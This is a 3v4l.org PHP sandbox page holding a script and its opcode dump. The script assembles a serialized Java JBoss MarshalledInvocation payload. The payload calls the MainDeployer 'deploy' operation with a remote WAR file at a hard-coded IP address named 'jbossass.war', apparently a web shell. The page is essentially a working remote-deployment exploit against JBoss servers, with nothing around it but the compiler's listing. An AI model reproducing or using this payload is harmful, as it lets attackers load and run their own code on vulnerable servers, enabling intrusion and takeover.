3v4l.org

run code in 300+ PHP versions simultaneously
<?php $url="http://195.3.144.77/jbossass.war?"; $url_len=pack("n",strlen($url)); $frag_i= "\xac\xed\x00\x05\x73\x72\x00\x29\x6f\x72\x67\x2e\x6a\x62\x6f\x73". "\x73\x2e\x69\x6e\x76\x6f\x63\x61\x74\x69\x6f\x6e\x2e\x4d\x61\x72". "\x73\x68\x61\x6c\x6c\x65\x64\x49\x6e\x76\x6f\x63\x61\x74\x69\x6f". "\x6e\xf6\x06\x95\x27\x41\x3e\xa4\xbe\x0c\x00\x00\x78\x70\x70\x77". "\x08\x78\x94\x98\x47\xc1\xd0\x53\x87\x73\x72\x00\x11\x6a\x61\x76". "\x61\x2e\x6c\x61\x6e\x67\x2e\x49\x6e\x74\x65\x67\x65\x72\x12\xe2". "\xa0\xa4\xf7\x81\x87\x38\x02\x00\x01\x49\x00\x05\x76\x61\x6c\x75". "\x65\x78\x72\x00\x10\x6a\x61\x76\x61\x2e\x6c\x61\x6e\x67\x2e\x4e". "\x75\x6d\x62\x65\x72\x86\xac\x95\x1d\x0b\x94\xe0\x8b\x02\x00\x00". "\x78\x70\x26\x95\xbe\x0a\x73\x72\x00\x24\x6f\x72\x67\x2e\x6a\x62". "\x6f\x73\x73\x2e\x69\x6e\x76\x6f\x63\x61\x74\x69\x6f\x6e\x2e\x4d". "\x61\x72\x73\x68\x61\x6c\x6c\x65\x64\x56\x61\x6c\x75\x65\xea\xcc". "\xe0\xd1\xf4\x4a\xd0\x99\x0c\x00\x00\x78\x70\x77"; $frag_ii="\x00"; $frag_iii= "\xac\xed\x00\x05\x75\x72\x00\x13\x5b\x4c\x6a\x61\x76\x61\x2e". "\x6c\x61\x6e\x67\x2e\x4f\x62\x6a\x65\x63\x74\x3b\x90\xce\x58\x9f". "\x10\x73\x29\x6c\x02\x00\x00\x78\x70\x00\x00\x00\x04\x73\x72\x00". "\x1b\x6a\x61\x76\x61\x78\x2e\x6d\x61\x6e\x61\x67\x65\x6d\x65\x6e". "\x74\x2e\x4f\x62\x6a\x65\x63\x74\x4e\x61\x6d\x65\x0f\x03\xa7\x1b". "\xeb\x6d\x15\xcf\x03\x00\x00\x78\x70\x74\x00\x21\x6a\x62\x6f\x73". "\x73\x2e\x73\x79\x73\x74\x65\x6d\x3a\x73\x65\x72\x76\x69\x63\x65". "\x3d\x4d\x61\x69\x6e\x44\x65\x70\x6c\x6f\x79\x65\x72\x78\x74\x00". "\x06\x64\x65\x70\x6c\x6f\x79\x75\x71\x00\x7e\x00\x00\x00\x00\x00". "\x01\x74". $url_len. $url. "\x75\x72\x00". "\x13\x5b\x4c\x6a\x61\x76\x61\x2e\x6c\x61". "\x6e\x67\x2e\x53\x74\x72\x69\x6e\x67\x3b\xad\xd2\x56\xe7\xe9\x1d". "\x7b\x47\x02\x00\x00\x78\x70\x00\x00\x00\x01\x74\x00\x10\x6a\x61". "\x76\x61\x2e\x6c\x61\x6e\x67\x2e\x53\x74\x72\x69\x6e\x67"; $frag_iv= "\x0d\xd3". "\xbe\xc9\x78\x77\x04\x00\x00\x00\x01\x73\x72\x00\x22\x6f\x72\x67". "\x2e\x6a\x62\x6f\x73\x73\x2e\x69\x6e\x76\x6f\x63\x61\x74\x69\x6f". "\x6e\x2e\x49\x6e\x76\x6f\x63\x61\x74\x69\x6f\x6e\x4b\x65\x79\xb8". "\xfb\x72\x84\xd7\x93\x85\xf9\x02\x00\x01\x49\x00\x07\x6f\x72\x64". "\x69\x6e\x61\x6c\x78\x70\x00\x00\x00\x05\x73\x71\x00\x7e\x00\x05". "\x77\x0d\x00\x00\x00\x05\xac\xed\x00\x05\x70\xfb\x57\xa7\xaa\x78". "\x77\x04\x00\x00\x00\x03\x73\x71\x00\x7e\x00\x07\x00\x00\x00\x04". "\x73\x72\x00\x23\x6f\x72\x67\x2e\x6a\x62\x6f\x73\x73\x2e\x69\x6e". "\x76\x6f\x63\x61\x74\x69\x6f\x6e\x2e\x49\x6e\x76\x6f\x63\x61\x74". "\x69\x6f\x6e\x54\x79\x70\x65\x59\xa7\x3a\x1c\xa5\x2b\x7c\xbf\x02". "\x00\x01\x49\x00\x07\x6f\x72\x64\x69\x6e\x61\x6c\x78\x70\x00\x00". "\x00\x01\x73\x71\x00\x7e\x00\x07\x00\x00\x00\x0a\x70\x74\x00\x0f". "\x4a\x4d\x58\x5f\x4f\x42\x4a\x45\x43\x54\x5f\x4e\x41\x4d\x45\x73". "\x72\x00\x1b\x6a\x61\x76\x61\x78\x2e\x6d\x61\x6e\x61\x67\x65\x6d". "\x65\x6e\x74\x2e\x4f\x62\x6a\x65\x63\x74\x4e\x61\x6d\x65\x0f\x03". "\xa7\x1b\xeb\x6d\x15\xcf\x03\x00\x00\x78\x70\x74\x00\x21\x6a\x62". "\x6f\x73\x73\x2e\x73\x79\x73\x74\x65\x6d\x3a\x73\x65\x72\x76\x69". "\x63\x65\x3d\x4d\x61\x69\x6e\x44\x65\x70\x6c\x6f\x79\x65\x72\x78". "\x78"; $data=$frag_i.pack("v",strlen($frag_iii)+8).$frag_ii.pack("n",strlen($frag_iii)).$frag_iii.$frag_iv; printf(bin2hex($data));
Finding entry points
Branch analysis from position: 0
1 jumps found. (Code = 62) Position 1 = -2
filename:       /in/A9YYN
function name:  (null)
number of ops:  42
compiled vars:  !0 = $url, !1 = $url_len, !2 = $frag_i, !3 = $frag_ii, !4 = $frag_iii, !5 = $frag_iv, !6 = $data
line      #* E I O op                           fetch          ext  return  operands
-------------------------------------------------------------------------------------
    3     0  E >   ASSIGN                                                   !0, 'http%3A%2F%2F195.3.144.77%2Fjbossass.war%3F'
    6     1        INIT_FCALL                                               'pack'
          2        SEND_VAL                                                 'n'
          3        STRLEN                                           ~8      !0
          4        SEND_VAL                                                 ~8
          5        DO_ICALL                                         $9      
          6        ASSIGN                                                   !1, $9
    9     7        ASSIGN                                                   !2, '%AC%ED%00%05sr%00%29org.jboss.invocation.MarshalledInvocation%F6%06%95%27A%3E%A4%BE%0C%00%00xppw%08x%94%98G%C1%D0S%87sr%00%11java.lang.Integer%12%E2%A0%A4%F7%81%878%02%00%01I%00%05valuexr%00%10java.lang.Number%86%AC%95%1D%0B%94%E0%8B%02%00%00xp%26%95%BE%0Asr%00%24org.jboss.invocation.MarshalledValue%EA%CC%E0%D1%F4J%D0%99%0C%00%00xpw'
   24     8        ASSIGN                                                   !3, '%00'
   37     9        CONCAT                                           ~13     '%AC%ED%00%05ur%00%13%5BLjava.lang.Object%3B%90%CEX%9F%10s%29l%02%00%00xp%00%00%00%04sr%00%1Bjavax.management.ObjectName%0F%03%A7%1B%EBm%15%CF%03%00%00xpt%00%21jboss.system%3Aservice%3DMainDeployerxt%00%06deployuq%00%7E%00%00%00%00%00%01t', !1
   38    10        CONCAT                                           ~14     ~13, !0
   39    11        CONCAT                                           ~15     ~14, 'ur%00'
   40    12        CONCAT                                           ~16     ~15, '%13%5BLjava.la'
   41    13        CONCAT                                           ~17     ~16, 'ng.String%3B%AD%D2V%E7%E9%1D'
   42    14        CONCAT                                           ~18     ~17, '%7BG%02%00%00xp%00%00%00%01t%00%10ja'
   43    15        CONCAT                                           ~19     ~18, 'va.lang.String'
   26    16        ASSIGN                                                   !4, ~19
   45    17        ASSIGN                                                   !5, '%0D%D3%BE%C9xw%04%00%00%00%01sr%00%22org.jboss.invocation.InvocationKey%B8%FBr%84%D7%93%85%F9%02%00%01I%00%07ordinalxp%00%00%00%05sq%00%7E%00%05w%0D%00%00%00%05%AC%ED%00%05p%FBW%A7%AAxw%04%00%00%00%03sq%00%7E%00%07%00%00%00%04sr%00%23org.jboss.invocation.InvocationTypeY%A7%3A%1C%A5%2B%7C%BF%02%00%01I%00%07ordinalxp%00%00%00%01sq%00%7E%00%07%00%00%00%0Apt%00%0FJMX_OBJECT_NAMEsr%00%1Bjavax.management.ObjectName%0F%03%A7%1B%EBm%15%CF%03%00%00xpt%00%21jboss.system%3Aservice%3DMainDeployerxx'
   67    18        INIT_FCALL                                               'pack'
         19        SEND_VAL                                                 'v'
         20        STRLEN                                           ~22     !4
         21        ADD                                              ~23     ~22, 8
         22        SEND_VAL                                                 ~23
         23        DO_ICALL                                         $24     
         24        CONCAT                                           ~25     !2, $24
         25        CONCAT                                           ~26     ~25, !3
         26        INIT_FCALL                                               'pack'
         27        SEND_VAL                                                 'n'
         28        STRLEN                                           ~27     !4
         29        SEND_VAL                                                 ~27
         30        DO_ICALL                                         $28     
         31        CONCAT                                           ~29     ~26, $28
         32        CONCAT                                           ~30     ~29, !4
         33        CONCAT                                           ~31     ~30, !5
         34        ASSIGN                                                   !6, ~31
   69    35        INIT_FCALL                                               'printf'
         36        INIT_FCALL                                               'bin2hex'
         37        SEND_VAR                                                 !6
         38        DO_ICALL                                         $33     
         39        SEND_VAR                                                 $33
         40        DO_ICALL                                                 
         41      > RETURN                                                   1

Generated using Vulcan Logic Dumper, using php 8.0.0

preferences:
169.93 ms | 1400 KiB | 19 Q